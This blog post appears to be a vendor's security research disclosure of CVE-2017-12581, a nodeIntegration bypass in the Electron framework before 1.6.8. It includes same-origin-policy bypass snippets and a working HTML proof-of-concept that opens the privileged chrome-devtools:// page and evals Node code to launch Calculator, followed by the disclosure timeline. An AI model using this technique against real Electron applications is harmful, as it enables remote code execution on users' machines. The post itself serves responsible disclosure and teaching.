Modern Alchemy: Turning XSS into RCE

TL;DR

At the recent Black Hat Briefings 2017, Doyensec’s co-founder Luca Carettoni presented a new research on Electron security. After a quick overview of Electron’s security model, we disclosed design weaknesses and implementation bugs that can be leveraged to compromise any Electron-based application. In particular, we discussed a bypass that would allow reliable Remote Code Execution (RCE) when rendering untrusted content (for example via Cross-Site Scripting) even with framework-level protections in place.

In this blog post, we would like to provide insight into the bug (CVE-2017-12581) and remediations.

What’s Electron?

While you may not recognize the name, it is likely that you’re already using Electron since it’s running on millions of computers. Slack, Atom, Visual Studio Code, WordPress Desktop, Github Desktop, Basecamp3, Mattermost are just few examples of applications built using this framework. Any time that a traditional web application is ported to desktop, it is likely that the developers used Electron.

Electron Motto

Understanding the nodeIntegration flag

While Electron is based on Chromium’s Content module, it is not a browser. Since it facilitates the construction of complex desktop applications, Electron gives the developer a lot of power. In fact, thanks to the integration with Node.js, JavaScript can access operating system primitives to take full advantage of native desktop mechanisms.

It is well understood that rendering untrusted remote/local content with Node integration enabled is dangerous. For this reason, Electron provides two mechanisms to “sandbox” untrusted resources:

BrowserWindow

mainWindow = new BrowserWindow({  
	"webPreferences": { 
		"nodeIntegration" : false,  
		"nodeIntegrationInWorker" : false 
	}
});

mainWindow.loadURL('https://www.doyensec.com/');

WebView

<webview src="https://www.doyensec.com/"></webview>

In above examples, the nodeIntegration flag is set to false. JavaScript running in the page won’t have access to global references despite having a Node.js engine running in the renderer process.

Hunting for nodeIntegration bypasses

It should now be clear why nodeIntegration is a critical security-relevant setting for the framework. A vulnerability in this mechanism could lead to full host compromise from simply rendering untrusted web pages. As modern alchemists, we use this type of flaws to turn traditional XSS into RCE. Since all Electron applications are bundled with the framework code, it is also complicated to fix these issues across the entire ecosystem.

During our research, we have extensively analyzed all project code changes to uncover previously discovered bypasses (we counted 6 before v1.6.1) with the goal of studying Electron’s design and weaknesses. Armed with that knowledge, we went for a hunt.

By studying the official documentation, we quickly identified a significant deviation from standard browsers caused by Electron’s “glorified” JavaScript APIs.

When a new window is created, Electron returns an instance of BrowserWindowProxy. This class can be used to manipulate the child browser window, thus subverting the Same-Origin Policy (SOP).

SOP Bypass #1

<script>
const win = window.open("https://www.doyensec.com"); 
win.location = "javascript:alert(document.domain)"; 
</script> 

SOP Bypass #2

<script>
const win = window.open("https://www.doyensec.com"); 
win.eval("alert(document.domain)");
</script>

The eval mechanism used by the SOP Bypass #2 can be explained with the following diagram:

BrowserWindowProxy's Eval

Additional source code review revealed the presence of privileged URLs (similar to browsers’ privileged zones). Combining the SOP-bypass by design with a specific privileged url defined in lib/renderer/init.js, we realized that we could override the nodeIntegration setting.

Chrome DevTools in Electron, prior to 1.6.8

A simple, yet reliable, proof-of-concept of the nodeIntegration bypass affecting all Electron releases prior to 1.6.7 is hereby included:

<!DOCTYPE html>
<html>
  <head>
    <title>nodeIntegration bypass (SOP2RCE)</title>
  </head>
  <body>
  	<script>
    	document.write("Current location:" + window.location.href + "<br>");

    	const win = window.open("chrome-devtools://devtools/bundled/inspector.html");
    	win.eval("const {shell} = require('electron'); 
    	shell.openExternal('file:///Applications/Calculator.app');");
       </script>
  </body>
</html>

On May 10, 2017 we reported this issue to the maintainers via email. In a matter of hours, we received a reply that they were already working on a fix since the privileged chrome-devtools:// was discovered during an internal security activity just few days before our report. In fact, while the latest release on the official website at that time was 1.6.7, the git commit that fixes the privileged url is dated April 24, 2017.

The issue was fixed in 1.6.8 (officially released around the 15th of May). All previous versions of Electron and consequently all Electron-based apps were affected. Mitre assigned CVE-2017-12581 for this issue.

Mitigating nodeIntegration bypass vulnerabilities